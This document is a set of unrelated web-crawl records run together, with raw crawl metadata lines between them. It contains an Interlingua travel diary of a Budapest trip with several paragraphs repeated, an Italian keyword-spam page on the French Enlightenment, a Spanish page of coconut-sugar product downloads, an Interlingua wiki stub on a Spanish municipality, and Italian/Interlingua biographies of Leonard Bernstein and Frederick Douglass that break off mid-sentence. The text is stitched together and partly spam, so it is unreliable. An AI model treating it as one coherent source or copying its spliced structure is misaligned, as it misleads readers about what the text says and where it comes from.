esseva multo agradabile e nos tosto viagiava per autobus, non al\nhotel, ma al famose monte le Monte de Gellert. Ibi on poteva vider grande\npartes del citate e le fluvio Danubio que lo divideva in duo partes, Buda e\nPest. Originalmente illos esseva duo citates separate ma nunc il ha al minus septe\npontes que uni le citates.Post\nhaber admirate le vistas nos recipeva prandio in le restaurante Citadella\nPanorama Restaurante, consistente del repasto typic hungare, suppa gulash, que\nesseva deliciose. In plus nos recipeva filet de gallina e al fin Petit Choux.Post isto\nnos viagiava con le autobus al hotel in Pest, Mercur Korona, que esseva situate\nmulto central al placia Kalvin, solmente 600 m distante de Danubio e le Ponte\nde Libertate (Szabadság hid). Le hotel esseva multo moderne e munde e con\nrefrigerator e TV in le camera. Nos viveva in le tertie etage ma il habeva\nplure ascensores e le traffico sur le strata non esseva audibile.\nPost haber essite installate in le hotel nos camminava al placia \"Fövám ter\" al bordo de Danubio insimul con nostre amicos. Nos nos sedeva in Café Anna ibi e bibeva bira durante que nos admirava alcun juvenes qui vadeva con skateboard sur le placia inclinante e essayava verter le skateboard in aere durante saltos lo que esseva successose a vices.Quando nos retornava al hotel nos reposava un hora ante que nos omnes insimul camminava al restaurante Caroli in le vicinitate. Ibi nos mangiava un bon cena e quando nos retornava al hotel a 21 horas nos esseva multo fatigate e vadeva al lecto. Como jam dicite nos nos eveliava jam a 4 horas in le matino.\nJovedi le 18 de april\nNos comenciava le die con un jentaculo excellente in le sala a mangiar. Io appreciava multo que io poteva mangiar yogurt ma io non poteva resister gustar salcicias, bacon e ovos miscite excepte plure sortas de pan con guarnitura.\nPostea comenciava un circuito con autobus in Pest lo que es le parte al est de Danubio. Nos vadeva al longe tote le strata Andrassy con su multe magazines e edificios elegante, i.a. le Opera que nos plus tarde visitarea.\nAl Placia de Heroes (Hösök Tere) edificate 1896, mille annos post le arrivata del magyares a Hungaria, nos stoppava e admirava le \"Monumento del millennio\", un multitude de statuas i.a. septe statuas equestre que rememora a Arpad e le altere capites del septe tribos original. In le centro sta un colonna que es 36 m alte con un scultptura del archangelo Gabriel qui tene le corona del rege e le cruce duple apostolic in su manos. Detra illos 14 homines de stato in un rango semicircular. Io nunquam ha vidite tante multe statuas in le mesme tempore. Secundo le legenda Gabriel se monstrava pro le prime rege Stephan (Iztvan) (975-1038) e le convinceva converter al christianitate.\nPost un tassa de caffe nos continuava nostre viage con le autobus e videva i.a. le tertie grande synagoga del mundo. Illo pote haber spatio pro 3000 personas e esseva edificate in le annos 1850. Durante le occupation german in le Secunde Guerra Mundial illo jaceva in le ghetto.\nAl Basilica de Sancte Stephan (Szent Iztvan) nos stoppava e entrava a in le belle edificio catholic roman con multe picturas e auro pellicular. Jam al entrate nos audiva belle canto de choro. Il esseva un choro que trainava e nos stoppava pro vider e ascoltar les. Le acustica sub le voltas enorme esseva remarcabile. Nostre guida contava que le le basilica esseva edificate al limite del aqua de Danubio quando illo esseva disbordate (1878?). Illo esseva preste in 1905. Le grande cupola ha un altitude de 96 m e secundo regulas local nulle edificio debe esser plus alte in Budapest. Le grande cupola sur le parlamento ha le mesme altitude. Le plus grande campana pesa 10 tonnas. Iste ecclesia es le singule que ha un statua de un rege (Szent Iztvan) in vice de Jesus Christo al altar.\nPost isto nos stoppava al edificio del Parlamento que vermente es un belle edificio similante a un castello con multe turres. Nos non poteva entrar ma in vice nos visitava le parve Placia del\nMartyres (Vértanuk tere) ubi se trova un statua del heroe del libertate Imre Nagy, stante vidente verso le parlamento sur un parve ponte de arco. Illo esseva edificate al memoria del revolta contra Soviet in 1956. Nagy esseva prime ministro ma post le revolta infortunate ille in 1958 esseva condemnate al morto, per execution al furca, pro alte traition e interrate in un loco anonyme.\nIl es dicite que Chrustjov esseva desolate quando le successor de Nagy, Janos Kadar refusava amnestiar le. In 1989 ille esseva rehabilitate e ille recipeva un interramento statal quando 100 000 homines participava. Io ipse multo ben rememora iste eventos historic specialmente a causa del facto que duo refugiatos hungare se inscribeva in le mesme curso in le universitate como io, le schola superior pro veterinarios.\nIl es dicite que Chrustjov esseva desolate quando le successor de Nagy, Janos Kadar refusava amnestiar le. In 1989 ille esseva rehabilitate e ille recipeva un interramento statal quando 100 000 homines participava. Io ipse multo ben rememora iste eventos historic specialmente a causa del facto que duo refugiatos hungare se inscribeva in le mesme curso in le universitate como io, le schola superior pro veterinarios.\nDurante le tour in omne directiones in Pest nos videva i.a. alcun edificios remarcabile. Le Museo de Artes Industrial (Iparművészeti Múzeum) es un edificio multicolor e un exemplo multo clar del Art Noveau e le Grande Mercato coperte (Nagy vásárcsarnok) es in le mesme stilo.\nIn un restaurante in le secunde etage del Mercato nos mangiava un bon buffet. Nos camminava inter le multe standes de flores, verdura e carne, plen de colores. Io tamben videva rumines de ove o vitello lo que non es costumari in Svedia. Io comprava 4 salsicias del typo cabanosse.\nDurante le tour in omne directiones in Pest nos videva i.a. ancora alcun edificios remarcabile. Le Museo de Artes Industrial (Iparművészeti Múzeum) es un edificio multicolor e un exemplo multo clar del Art Noveau e le Grande Mercato coperte (Nagy vásárcsarnok) es in le mesme stilo.\nIn un restaurante in le secunde etage del Mercato nos mangiava un bon buffet. Nos camminava inter le multe stands colorose de fructos, verduras e productos de carne. Io tamben videva rumines de ove o vitello lo que non es costumari in Svedia. Io comprava 4 salsicias del typo cabanosse.\nPost le jentaculo nos viagiava con le autobus in le quartieros judee que esseva situate presso nostre hotel. Ante le viage io habeva legite le libro per Ingrid Carlberg, \"Det står ett rum här och väntar på dig\", (Il ha un camera hic te attendente), que describe le vita del diplomate svedese Raoul Wallenberg qui durante le secunde guerra mundial salvava milles de judeos ab le campos de morte del nazis. Plure stratas, placias, scholas e altere locos in le mundo ha su nomine hodie. Quando le armea de Soviet arrivava a Budapest ille dispareva sin tracias. Ille es le secunde persona estranier post Winston Churchill qui ha essite nominate Cive honorific in SUA.\nLe viage con le autobus continuava la altere latere de Danubio, a Buda, ubi nos stoppava la castello. Ancora on poteva vider orificios de ballas desde le guerra in le lateres. Il habeva multe scalas. Ante le entrata del museo sta un statua equestre del prince Eugène de Savoie-Carignan qui in le battalia de Zenta in 1697 batteva le turcos e radeva lor armea in Hungaria.\nIl habeva un statua de bronzo del compositor Zoltan Kodály (1882-1967 . Io lo photographava con mi sposa sedente presso ille.\nSur uno del multe turres del castello il habeva un sculptura de un corvo con un anulo in le becco. Io esseva curiose e in internet io poteva trovar le explication.\nUn legenda narra que le general famose János Hunyadi, qui governava durante le juventute del rege Lázló V, e habeva conquirite le ottomanes in le battalia de Belgrad 1456 moriva per peste lo que tamben le juvene rege faceva. Quando on cercava un successor su filio le plus vetule, Lászlo, esseva intendite ma ille esseva occidite per le habsburgeses. Alora su plus juvene fratre Mátyas esseva eligite. Ille alora se trova in le corte in Praga, nam ille esseva maritate con un princessa tchec. Secundo le legenda le matre de Mátyas alora inviava un corvo con un anello in le becco con le message.\nDunque le corvo debeva volar ab Transsilvania a Praga un multe longe distantia. Post isto le corvo con le anello in le becco es inserite in armas del stirpe. Matthias Corvinus qui governava 1458-1490 deveniva le ultime rege hungare e esseva un rege prominente e ben erudite, un rege del Renascentia.\nDunque le corvo debeva volar ab Transsilvania a Praga un multe longe distantia. Post isto le corvo con le anello in le becco es inserite in armas del stirpe. Matthias Corvinus qui governava 1458-1490 deveniva le ultime rege hungare e esseva un rege prominente e ben erudite, un rege del Renascentia.\nPost haber admirate le vistas in omne directiones nos entrava a in le Museo National enorme. Il es impossibile vider toto e nos seligeva picturas hungare del 19.e 20.e seculos. Nos specialmente admirava un pictura del artista Tihamér Margitay 1859-1933 appellate \"Jelosia\" lo que on pote vider in multe paginas in internet, ma sempre con marcas de aqua pro impedir copias. Io non sapeva que il habeva tante multe bon artistas hungare. Le population de Hungaria es approximativemente equalmente grande como le population de Svedia.\nPost le prandio que esseva includite in le precio del viage nos insimul con nostre amicos camminava super le Ponte de Libertate e entrava a in le Banio de Gellert. Ma a causa del belle temperie, 25 grados, nos non esseva interessate de baniar ibi ma nos solmente comprava un drappo de banio con le texto Gellert como un souvenir.\nIn le vespere nos viagiava con le autobus al Opera ubi nos videva le opera Arabella per Richard Strauss. Le edificio del opera vermente esseva belle, e le exterior e le interior. Il habeva un grande terrassa in le secunde etage ubi nos stava in le interactos in belle temperie. Eva Bátori jocava le rolo de Arabella e illa cantava multo bellemente. Le rolo principal masculin esseva jocate per Tomasz Konieczny e io le amava\nproque ille maestrava le lingua german melio. Secundo mi opinion Bori Keszei como Zdenka esseva le plus bon cantatrice ma le le applausos del publico esseva satis equalmente dividite e non specialmente intense. Io non comprende proque.\nIn bon tempore io habeva comprate le libretto pro comprender le intriga melio. On cantava in germano e le texto sur le schermo esseva in hungare, dunque incomprensibile pro me. Io tamben habeva ascoltate un registration in YouTube con Kiri te Kanawa e post iste preparationes io non habeva problemas comprender le intriga. Il esseva le prime vice que io videva iste opera in loco.\nNostre chauffeur qui diceva que illa amava hardrock esseva inviate vider le representation e ille esseva multo impressionate e intendeva ascoltar opera plus vices si possibile.\nSabbato le 20 de april\nPost le jentaculo nos viagiava con autobus a Gödöllö circa 20 km al nord est de Budapest. Ibi il habeva un castello belle que esseva edificate per\nConte Grassalkovich e deveniva famose proque le imperatrice Elisabeth (Sissi) de Austria viveva ibi multe annos. Illa non se trovava ben in Vienna, specialmente non post le morte de su filio Rudolph Illa esseva un extrememente belle femina ma post le morte del filio illa sempre portava vestimentos nigre. Ille esseva multo popular tamben un Hungaria ma esseva assassinate per un anarchista italian in 1898.\nLe belle castello esseva damnate multo durante le secunde guerra mundial e per le nazis e per le russos ma nunc illo es renovate.\nQuando nos retornava a Budapest nos e nostre amicos faceva un viage con nave sur Danubio durante un hora.\nLe temperie tote le tempore esseva belle e con cornettas acustic nos ascoltava un guida automatic que narrava del attractiones al longe le fluvio. Le prandio que nos mangiava post le excursion esseva multo tarde. In le vespere nos mangiava cena de adeo ma regrettabilemente iste repasto non esseva equalmente bon como le previe repastos. Suppa a pisce e carne de capreolo, ma le carne esseva partialmente satis dur. Peccato.\n|Le ponte de Libertate e le Banio de Gellert|\nDominica le 21 de april\nNos retornava a Svedia. Quando nos habeva arrivate a Budapest le primavera quasi non habeva comenciate e il habeva poc flores e verdura. Quando nos nunc retornava il esseva estate complete, multo calide e le arbores habeva comenciate devenir verde.\nLe viage durava inter 11 horas e 22.30 horas e nos esseva fatigate quando nos al fin arrivava a Varberg ubi le hiberno ancora dominava tamben si il non habeva nive.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/untorrente.blogspot.com\/2013\/04\/","date":"2019-03-26T23:42:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912206677.94\/warc\/CC-MAIN-20190326220507-20190327002507-00245.warc.gz","language":"ina","language_score":0.9999980927,"language_script":"Latn","minhash_cluster_size":63,"top_langs":"{\"ina_Latn_score\": 0.9999980926513672}","num_words":3021,"character_repetition_ratio":0.037,"word_repetition_ratio":0.151,"special_characters_ratio":0.199,"stopwords_ratio":0.013,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":791.1,"cluster_detection":-1} +{"text":"illuminismo francese illuminismo francese\nilluminismo francese illuministi francesi porro tarro millan\nilluminismo francese illuminismo francese il della 3h\nilluminismo francese la filosofia dell illuminismo voltaire rousseau montesquieu\nilluminismo francese illuminismo francese e la musica l lim\nilluminismo francese illuminismo 4\nilluminismo francese mappe per la scuola illuminismo\nilluminismo francese illuminismo francese riassunto 28 images mappa\nilluminismo francese illuminismo francese riassunto 28 images mappa\nilluminismo francese denis diderot illuminismo francese scrittore e filosofo\nilluminismo francese ppt l illuminismo francese l illuminismo inglese\nilluminismo francese mapper illuminismo in francia e italia\nilluminismo francese l illuminismo francese e la rivoluzione a fumetti\nilluminismo francese l idea di progresso nell illuminismo francese e tedesco\nilluminismo francese illuminismo\nilluminismo francese illuminismo francese riassunto 28 images illuminismo\nilluminismo francese 2c bianchilettere\nilluminismo francese illuminismo flipnet la classe capovolta\nilluminismo francese illuminismo studiandosulweb jimdo\nilluminismo francese accademia dei pugni\nilluminismo francese illuminismo e diritti umani\nilluminismo francese storiadigitale zanichelli linker percorso site\nilluminismo francese conoscere l illuminismo italiano\nilluminismo francese guerre di successione e illuminismo francese\nilluminismo francese illuminismo blackboard italiano storia\nilluminismo francese illuminismo inghilterra ppt scaricare\nilluminismo francese illuminismo\nilluminismo francese il nuovo illuminismo francese contro la deriva","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/tracystillmandesigns.com\/illuminismo-francese.html","date":"2019-10-21T06:06:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987756350.80\/warc\/CC-MAIN-20191021043233-20191021070733-00464.warc.gz","language":"ina","language_score":0.5916731954,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5916731953620911, \"ita_Latn_score\": 0.22500061988830566, \"lat_Latn_score\": 0.031431153416633606, \"vec_Latn_score\": 0.028345255181193352, \"eus_Latn_score\": 0.026457181200385094, \"glg_Latn_score\": 0.019900478422641754, \"srd_Latn_score\": 0.011282211169600487}","num_words":371,"character_repetition_ratio":0.448,"word_repetition_ratio":0.099,"special_characters_ratio":0.123,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":0.592,"perplexity_score":9316.3,"cluster_detection":-1} +{"text":"Navigation\nHome\nDownloads\nGula Java brut 310gr\nGula Java brut 310gr\nJPG:\nlarge\n\n\nmedium\n\n\nsmall\nPNG:\nlarge\n\n\nmedium\n\n\nsmall\nBekijk ook\nGula Java Brut barista\nAzúcar de flor de coco Gula Java\nAzúcar de flor de coco 4gr cerrar\nAzúcar de flor de coco 4gr abierto\nGula Java fin 360gr frente\nGula Java fin 360gr\nGula Java Brut azúcar de flor de coco + 30%\nGula Java Brut azúcar de flor de coco + 20%\nGula Java bruto 1000gr y 310gr\nGula Java brut 1000gr frente\nGula Java brut 1000gr\nGula Java brut 310gr frente\nGula Java blocs 150gr terrón de azúcar\nGula Java blocs 150gr frente\nGula Java blocs 150gr","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/www.amanprana.eu\/es\/downloadcenter\/gula-java-brut-310gr\/","date":"2020-12-02T19:23:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141715252.96\/warc\/CC-MAIN-20201202175113-20201202205113-00363.warc.gz","language":"ina","language_score":0.6024790406,"language_script":"Latn","minhash_cluster_size":36,"top_langs":"{\"ina_Latn_score\": 0.6024790406227112, \"por_Latn_score\": 0.18206284940242767, \"oci_Latn_score\": 0.03294369950890541, \"frp_Latn_score\": 0.031181752681732178, \"kiu_Latn_score\": 0.023665623739361763, \"dag_Latn_score\": 0.012319039553403854, \"pcm_Latn_score\": 0.01113104447722435}","num_words":193,"character_repetition_ratio":0.197,"word_repetition_ratio":0.25,"special_characters_ratio":0.285,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.479,"perplexity_score":12245.2,"cluster_detection":-1} +{"text":"Aldea de San Miguel\n|Aldea de San Miguel|\n|Classe||municipalitates de Espania|\n|Pais||Espania|\n|Capital||Aldea de San Miguel[*]|\n|Population||214|\n|Area||20 km²|\n|Situate in||Provincia de Valladolid|\n|Altitude||740 m|\n|Coordinatas||41°27'37\"N, 4°37'1\"W|\n|Fuso horari||UTC+01:00|\n|Geonames ID||6362134|\n|Wikimedia Commons Category|\nAldea de San Miguel\nAldea de San Miguel es un municipalitate que se trova in le provincia de Valladolid, in le communitate autonome de Castilia e Leon, Espania.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ia.wikipedia.org\/wiki\/Aldea_de_San_Miguel","date":"2023-06-02T12:48:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224648635.78\/warc\/CC-MAIN-20230602104352-20230602134352-00237.warc.gz","language":"ina","language_score":0.3413038552,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.34130385518074036, \"sco_Latn_score\": 0.13557027280330658, \"glg_Latn_score\": 0.09337328374385834, \"vec_Latn_score\": 0.0891808271408081, \"atj_Latn_score\": 0.03805149719119072, \"nrm_Latn_score\": 0.02615903504192829, \"lij_Latn_score\": 0.0165189728140831, \"ast_Latn_score\": 0.01606597565114498, \"nov_Latn_score\": 0.01496111135929823, \"eus_Latn_score\": 0.012355053797364235, \"nap_Latn_score\": 0.010187098756432533}","num_words":116,"character_repetition_ratio":0.145,"word_repetition_ratio":0.112,"special_characters_ratio":0.305,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":0.286,"perplexity_score":4168.5,"cluster_detection":-1} +{"text":"Monday, November 30, 2009\n(Languages of this post: Italian, Interlingua)\nLeonard Bernstein nacque nel 1918 e morì nel 1990. Durante i settantadue anni della sua vita, Bernstein fu uno dei musicisti più produttivi degli Stati Uniti. Egli fu un compositore, direttore d'orchestra, pianista e insegnante di musica.\nCompose musica classica e musica popolare, a volte combinando le due nello stesso lavoro. Fu il direttore musicale della New York Philharmonic Orchestra per più di dieci anni. Come Mozart, spesso suonò il pianoforte mentre dirigeva l'orchestra. Apparse in programmi televisivi e scrisse molti libri per spiegare la natura della musica, in particolare ai giovani.\nBernstein nacque a Lawrence, in Massachusetts. Suo padre e sua madre erano due ebrei provenienti dalla Russia, che si incontrarono e sposarono negli Stati Uniti. Molto presto nella sua vita, dimostrò eccezionali doti musicali. Suo padre però, non voleva che diventasse un musicista professionale, perché non credeva che Leonard potesse guadagnare molto in quella professione.\nBernstein insistì, tuttavia, di non essere interessato a qualsiasi altra carriera e divenne uno studente di musica presso la Harvard University e il Curtis Institute of Music di Philadelphia, Pennsylvania. Durante l'estate, studiava presso un famoso centro di musica in Massachusetts, noto come Tanglewood, dove, tra l'altro, studiò direzione d'orchestra sinfonica, con Serge Koussevitzky e Fritz Reiner. Più tardi, Bernstein tornò a Tanglewood per insegnare la musica quasi ogni estate durante la sua vita.\nNel 1943 Bernstein divenne il vicedirettore della New York Philharmonic Orchestra. Nel novembre dello stesso anno, il direttore d'orchestra, Bruno Walter, si ammalò e non fu in grado di dirigere l'orchestra in un importante concerto.\nBenché avesse pochissimo tempo per prepararsi, Bernstein condusse l'orchestra brillantemente. Il giorno seguente, il \"New York Times\" pubblicò un articolo lodando Bernstein in prima pagina, e subito dopo il giorno della pubblicazione, Bernstein cominciò a ricevere molti inviti a condurre le orchestre più famose degli Stati Uniti.\nNel 1958, Bernstein divenne il primo direttore musicale americano della New York Philharmonic. I critici musicali affermano che la New York Philharmonic migliorò notevolmente negli anni sotto la sua guida.\nSpesso paragonato a una tempesta oceanica molto potente, Bernstein viaggiò molto per condurre le orchestre più famose al mondo. Compose ed insegnò musica. Nella sua casa, egli e sua moglie, l'actrice cilena Felicia Montealegre, allevarono tre figli. La loro casa attirò i più famosi artisti, musicisti e autori degli Stati Uniti.\nI critici dicono che Bernstein abbia scritto la sua musica migliore negli anni giovanili. Scrisse \"Symphony Number Two, l'Age of Anxiety\", nel 1949, quando aveva circa trent'anni. Questa sinfonia è particolarmente ammirata dai critici, sostenendo che essa colga l'essenza della musica americana del suo tempo.\nBernstein anche compose diverse sinfonie dimostranti il suo profondo interesse per la religione ebraica. Compose anche altre opere nel corso degli anni per orchestre e gruppi di canto, nonché opere liriche e balletti.\nMolti credono che la sua musica migliore possa essere trovata nei musical di Broadway (come \"On the Town\", \"Wonderful Town\" e \"Candide\"). Alcuni critici musicali insistono sul fatto che \"Candide\" di Bernstein incarni meglio un'opera musicale.\n\"West Side Story\", che narra una versione moderna di \"Romeo e Giulietta\", la tragedia di William Shakespeare, è forse la più famosa opera musicale di Bernstein. Il suo debutto a Broaday avvenne nel 1957, ed è ancora molto famosa in tutto il mondo.\nPer tre anni Bernstein lavorò a \"Mass\", che ebbe il suo debutto all'inaugurazione del Kennedy Center. \"Mass\" narra la vita di un giovane che ha perso la fede in Dio. In \"Mass\" Bernstein combinò caratterisitche di musica classica, blues, Rock and Roll e musica religiosa tradizionale.\nPer tutta la sua vita, Leonard Bernstein si interessò dei problemi sociali assieme alla musica. Sostenne il movimento dei diritti civili di quel periodo e l'opposizione alla guerra del Vietnam. Diresse anche concerti per raccogliere fondi per la lotta contro l'AIDS.\nContinuò a comporre e a condurre orchestre fino alla fine della sua vita nel 1990, l'ultima volta a Tanglewood. Due mesi dopo questo concerto, morì nella sua casa di New York. Come George Gershwin, diede al mondo moltissima musica tipicamente americana che sarà sempre famosa.\n---\nLeonard Bernstein naceva in 1918 e moriva in 1990. Durante le 72 annos de su vita, Bernstein esseva un del plus productive musicos del Statos Unite. Ille esseva un compositor, conductor de orchestras symphonic, pianista, e professor de musica.\nIlle componeva serie musica classic tanto como musica popular, a vices combinante los in le mesme obra. Ille esseva le director musical del New York Philharmonic Orchestra pro plus que 10 annos. Como Mozart, ille sovente sonava le piano durante que ille dirigeva le orchestra. Ille appareva in multe programmas de television e scribeva libros pro explicar le natura del musica, specialmente a juvenes.\nBernstein naceva in Lawrence, Massachusetts. Su patre e matre esseva judeos de Russia. Illes se congosceva e se maritava in le Statos Unite. Multo tosto in su vita ille demonstrava talentos musical exceptional. Su patre tamen non voleva que ille deveniva un musico professional proque ille non credeva que Leonard poterea ganiar multo moneta in ille profession.\nBernstein insisteva tamen que ille non esseva interessate in un altere typo de carriera e deveniva un studente de musica al Universitate Harvard e al Instituto de Musica Curtis in Philadelphia, Pennsylvania. Durante le estate, ille studiava a un famose central de musica in Massachusetts appellate Tanglewood, ubi, inter alia, ille studiava le direction de orchestras symphonic con Serge Koussevitsky e Frits Reiner. Plus tarde, Bernstein retornava a Tanglewood pro inseniar le musica quasi omne estate durante su vita.\nIn 1943 Bernstein deveniva le director assistente del Orchestra Philharmonic de New York. In novembre de ille anno, le director del orchestra, Bruno Walter, deveniva malade e non poteva diriger le orchestra in un concerto importante.\nCon multo pauc tempore pro preparar se, Bernstein brillantemente dirigeva le orchestra durante ille concerto. Le proxime die, le \"New York Times\" publicava un articulo laudante Bernstein in su prime pagina, e desde le die su publication, ille recipeva multe invitationes pro conducer le orchestras le plus famose del Statos Unite.\nIn 1958, Bernstein deveniva le prime director musical american del New York Philharmonic. Criticos musical diceva que le New York Philharmonic se meliorava multo durante le annos sub su direction.\nSovente comparate a un potentissime tempestate oceanic, Bernstein viagiava multo pro diriger le orchestras le plus famose del mundo. Ille anque componeva e inseniava le musica. In su focar, ille e su marita, le actrice chilean Felicia Montealegre, elevava tres filios. Lor focar attraheva le plus famose artistas, musicos, e autores del Statos Unite.\nLe criticos dice que Bernstein scribeva su melior musica in su annos juvene. Ille scribeva \"Symphony Number Two, the Age of Anxiety (Symphonia Numero duo, le Etate del Anxietate)\", in 1949 quando ille habeva circa 30 annos. Iste symphonia es admirate specialmente per le criticos, qui dice que illo captura le essentia del musica amercan de su epocha.\nBernstein anque componeva diverse symphonias que demonstra su interesse profunde in su religion judee. Ille anque componeva altere obras trans le annos pro gruppos de cantantes e un orchestra, assi como operas e ballets.\nMultes crede que su melior musica se trova in pecias musical componite per le theatros de Broadway (obras como \"On the Town\", \"Wonderful Town\", e \"Candide\"). Alicun criticas del musica insiste que \"Candide\" es le melior obra musical de Bernstein.\n\"West Side Story\", que narra un version moderne de \"Romeo e Julietta\", le pecia theatral de William Shakespeare, es forsan le plus famose obra musical de Bernstein. Illo appareva in Broadway per le prime vice in 1957, e illo totevia es multo famose in omne le partes del mundo.\nPro tres annos, Bernstein travaliava in su obra \"Mass\" (Missa), que appareva ante le publico pro le prime vice durante le apertura del Kennedy Center. Le historia narra le vita de un homine juvene qui perde su credentia in Deo. In \"Mass\" Bernstein combinava le characteristas del musica classic, del blues american, del Rock and Roll, e del musica religiose traditional.\nDurante omne su vita, Leonard Bernstein se preoccupava con problemas social tanto como su musica. Ille appoiava le movimento pro derectos civil de ille epocha e opponeva le guerra american in Vietnam. Ille anque dirigeva concertos pro colliger moneta pro le lucta contra le SIDA.\nIlle continuava a componer e direger orchestras usque le fin de su vita, le ultime vice a Tanglewood in 1990. Duo menses post iste concerto, ille moriva in su focar in New York. Como George Gershwin, ille dava al mundo multe musica quintessentialmente american que sempre essera famose.\nPosted by hkyson at 6:00 PM\nSunday, November 29, 2009\n(Languages of this post: Italian, Interlingua)\nFederico Augusto Washigton Bailey Douglass nacque intorno al 1818 in Tuckahoe, Maryland, vicino alla baia di Chesapeake. Allora, molti schiavi vivevano in grandi piantagioni. Ogni piantagione era come un piccolo villaggio di proprietà di una famiglia di bianchi viventi in grandi ville. L'agricoltura e l'organizzazione sociale delle pantagioni erano molto simili a quelle dei latifondi romani e medioevali.\nLa madre di Douglass era Harriet Bailey, e molti ritengono che il padre fosse l'uomo che la possedeva, il capitano Aaron Anthony. Federico non connobbe sua madre molto bene. Ella fu inviata a un'altra piantagione quando Federico era molto giovane, e non riuscí a farglì visita molto spesso. Morì quando egli aveva sette anni.\nA quel tempo Federico viveva con i nonni, Betsey e Isaac Bailey. Si disse che i suoi nonni fossero molto gentili e fossero rispettati dagli altri schiavi che li conoscevano. A causa di questo, egli non sapeva, all'inizio, di essere uno schiavo.\nLa vita delle famiglie afro-americane a quel tempo non era stabile. Dal momento che i loro membri erano di proprietà giuridica delle persone che li possedevano, spesso essi erano venduti e mandati ad altre piantagioni lontane. Anche Federico dovette lasciare la casa dei nonni, quando aveva solo sei anni. Si dice che il giorno in cui lasciò i nonni fu il giorno più triste della sua vita, e che da questa esperienza imparò quale fosse veramente la vita di uno schiavo.\nNel 1826 Federico fu mandato a lavorare per Hugh Auld a Baltimora, nel Maryland. La moglie di Auld, Sophia, fu molto gentile a Federico. Lo trattava come se fosse un membro della famiglia e cominciò a insegnargli a leggere. Scoprendo questo, suo marito divenne molto arrabbiato e le proibì di continuare a farlo. Mr. Auld disse che se i suoi schiavi sapessero leggere, avrebbere cominciato a ribellarsi e fuggire.\nFederico, invece, fu in grado di continuare le sue lezioni di lettura a causa di un gruppo di ragazzi bianchi in città che erano contro la schiavitù e insisterono sul fatto che egli avesse il diritto di imparare a leggere e di essere libero.\nMr. Federico Auld lo inviò a lavorare per un povero contadino, Edward Covey, che spesso lo picchiava. Nel 1836 Federico cercò di scappare, ma non ebbe successo e fu arrestato e costretto a tornare a casa di Hugh e Sophia Auld a Baltimora.\nIncontrò e si innamorò di un libera donna afroamericana, Anna Murray, che aveva un lavoro di pulizia nelle case delle famiglie bianche nella zona in cui viveva. Ella diede dei soldi a Federico, che egli usò per comprare un biglietto sul treno che lo portò a New York City.\nDopo il suo arrivo a New York, Frederick Bailey cambiò il suo nome a Frederick Douglass per nascondere la propria identità alle persone che guadagnavano soldi catturando schiavi fuggiti. Anna Murray lo seguì a New York, e ben presto si sposarono. Andarono a vivere a New Bedford, nel Massachusetts, e divennero i genitori di cinque figli.\nFrederick Douglass divenne una delle figure più importanti del movimento abolizionista degli Stati Uniti. Nel 1841, andò a una riunione della Società Anti-Schiavitù a Nantucket in Massachusetts e fu invitato a pronunciare un discorso sulla sua vita come uno schiavo.\nBenché non avesse preparato un discorso, parlò in modo molto eloquente e presto divenne un importante leader del movimento abolizionista in Massachusetts. Fu invitato a tenere discorsi in altre città e in molti Stati americani in cui la schiavitù era illegale, e continuò a parlare della sua esperienza personale come uno schiavo e descrisse la vita tipica degli schiavi americani, che spesso soffrivano di malnutrizione costretti a lavorare tutto il giorno nei campi, sotto un sole pericolosamente caldo e a dormire sul pavimento freddo la sera.\nMolti di coloro che ascoltarono i suoi discorsi credevano che fossero piene di bugie. Essi si rifiutavano di credere che Douglass fosse stato uno schiavo, perché sembrava di avere un livello d'istruzione troppo elevato per aver sofferto la schiavitù.\nPer dimostrare che in realtà era stato uno schiavo, nel 1844 Douglass iniziò a scrivere la sua autobiografia, il racconto \"della vita di Frederick Douglass, uno schiavo Americano\", che fu pubblicato l'anno successivo. In seguito, pubblicò versioni più complete di questo libro. Douglass divenne molto famoso dopo la pubblicazione della sua autobiografia.\nNel 1852 fu invitato a pronunciare un discorso durante la celebrazione della festa americana di Independence Day, il 4 Luglio. Nel suo discorso, Douglass disse che l'indipendenza degli Stati Uniti apparteneva solo ai bianchi, non agli schiavi africani americani, per i quali questa giornata metteva in risalto la discriminazione e la sofferenza che essi dovevano sopportare.\nLa guerra di secessione americana scoppiò nel 1861. Frederick Douglass e molti altri videro la schiavitù come la causa della guerra. Douglass voleva che gli afro-americani fossero in grado di partecipare alla guerra, ma molti bianchi, tra cui Abraham Lincoln, insisterono che la presenza di afro-americani avrebbe distrutto lo spirito combattivo dei soldati bianchi nel loro esercito. Queste persone ritenevano inoltre che i soldati neri non fossero abbastanza intelligenti da lottare efficacemente contro le forze militari degli Stati del Sud.\nDue anni più tardi, gli afro-americani furono permessi di arruolarsi nell'esercito degli Stati Uniti. Benchè fossero cosí coraggiosi come soldati bianchi, furono dati loro gli stessi lavori che riflettevano la schiavitù di molti di essi. In un incontro con Abraham Lincoln a Washington, Douglass insistí sul fatto che i soldati afro-americani dovessero servire nell'esercito su una base di parità con i soldati bianchi. Benchè Lincoln fosse d'accordo, egli disse che un cambiamento immediato non era possibile.\nNel 1865 l'esercito di Lincoln aveva vinto la guerra civile americana, e pochi mesi dopo Lincoln fu assassinato, e la schiavitù finì con la fine dell'anno. Douglass dopo la guerra divenne un funzionario del governo federale degli Stati Uniti. Ma continuò la sua lotta per l'uguaglianza economica, sociale e giuridico non solo per gli afro-americani, ma anche per le donne. Morì nella sua casa di un attacco di cuore nel 1895 all'età di settantotto.\n---\nFrederick Augustus Washington Bailey Douglass nasceva circa 1818 in Tuckahoe, Maryland, presso le Baia Chesapeake. Multe sclavos viveva in latifundios grande in ille epocha. Cata latifundio esseva como un 